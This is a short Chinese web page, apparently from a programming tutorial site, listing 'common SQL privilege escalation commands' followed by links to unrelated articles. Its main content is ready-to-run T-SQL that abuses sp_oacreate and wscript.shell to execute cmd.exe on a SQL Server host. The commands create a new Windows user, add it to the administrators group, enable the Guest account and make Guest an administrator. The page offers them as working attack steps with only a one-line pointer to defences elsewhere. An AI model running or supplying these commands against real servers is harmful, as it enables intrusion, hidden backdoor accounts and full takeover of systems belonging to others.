SQL 提权 常用命令

时间:2024-01-23 03:21:45 

1、连接数据库
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
3、把用户加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
4、激活GUEST用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
关于防范方法,可以参考脚本之家服务器安全设置栏目。

标签:SQL,提权
0
投稿

猜你喜欢

  • js算法实例之字母大小写转换

    2024-04-16 08:52:05
  • JSP request.setAttribute()详解及实例

    2023-06-18 23:59:32
  • python框架django项目部署相关知识详解

    2023-10-26 02:26:15
  • Python必备技能之debug调试教程详解

    2023-03-01 19:26:10
  • 用Python实现BP神经网络(附代码)

    2023-11-24 17:20:11
  • PHP mysql_result()函数使用方法

    2023-06-13 08:21:29
  • python光学仿真通过菲涅耳公式实现波动模型

    2022-10-25 06:08:19
  • Python如何在DataFrame增加数值

    2021-07-23 12:56:29
  • 认识那些被忽略的SQL Server注入技巧

    2009-01-20 13:15:00
  • 详解Python中的相对导入和绝对导入

    2023-02-05 01:10:36
  • python 如何读、写、解析CSV文件

    2022-09-21 13:59:33
  • TypeScript新语法之infer extends示例详解

    2024-03-13 20:42:27
  • 微信小程序中data-key属性之数据传输(经验总结)

    2024-04-17 10:03:51
  • 解决pycharm下载库时出现Failed to install package的问题

    2021-07-30 14:15:49
  • python3 cookbook中常遇问题解答

    2022-09-07 09:07:05
  • Go 多环境下配置管理方案(多种方案)

    2024-05-25 15:15:37
  • OpenCV2.3.1+Python2.7.3+Numpy等的配置解析

    2021-12-09 16:04:57
  • Python with用法实例

    2022-09-07 19:34:05
  • Python终端输出彩色字符方法详解

    2023-11-18 22:04:17
  • python使用mysql的两种使用方式

    2024-01-23 10:39:36
  • asp之家 网络编程 m.aspxhome.com